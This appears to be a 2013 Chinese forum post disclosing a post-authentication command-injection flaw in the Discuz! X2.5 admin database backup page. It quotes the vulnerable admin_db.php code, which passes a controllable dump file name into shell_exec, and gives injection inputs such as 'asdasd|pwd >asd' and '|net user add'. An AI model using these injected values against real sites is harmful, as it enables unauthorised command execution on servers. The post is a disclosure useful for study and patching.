【鸡肋】Dz x2.5后台命令执行

2013-07-13 01:10:45 18 1268


琢磨着很久没发帖,最近都没事提交一些漏洞,赚点外快,安心钱,不做黑产
也有几个月没怎么接触这些东西了,从硬盘里面翻出个这么个鸡肋
为什么说鸡肋了 因为必须是linux的主机,而且呢 也不能导出shell
因为他过滤了. 所以不能带后缀 但是呢 能执行一些基本的命令 而且是能看到执行结果的
admin_db.php
} else {
            $tablesstr = '';
            foreach($tables as $table) {
                $tablesstr .= '"'.$table.'" ';
            }
            require DISCUZ_ROOT . './config/config_global.php';
            list($dbhost, $dbport) = explode(':', $dbhost);
            $query = DB::query("SHOW VARIABLES LIKE 'basedir'");
            list(, $mysql_base) = DB::fetch($query, MYSQL_NUM);
            $dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
            @unlink($dumpfile);
                     
            $mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
                                            
            @shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($_GET['extendins'] == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $_GET['sqlcompat'] == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);//dumfile可控 管道符号即可asd.sql|net user add
利用管道符号 输入 比如把dumpfile改成 asdasd|pwd >asd
然后根目录就会出现一个asd.sql 这里面就是命令输出的结果,因为路径问题 windows的话就会执行失败 并且忽略吊管道后面的
但是linux会继续执行 图是以前截的 缩略过 原图找不到 看的不是很清楚,勉强还是能看到的,凑合看吧
需要修改$_GET['method'] != 'multivol'

关于作者

评论18次

要评论?请先  登录  或  注册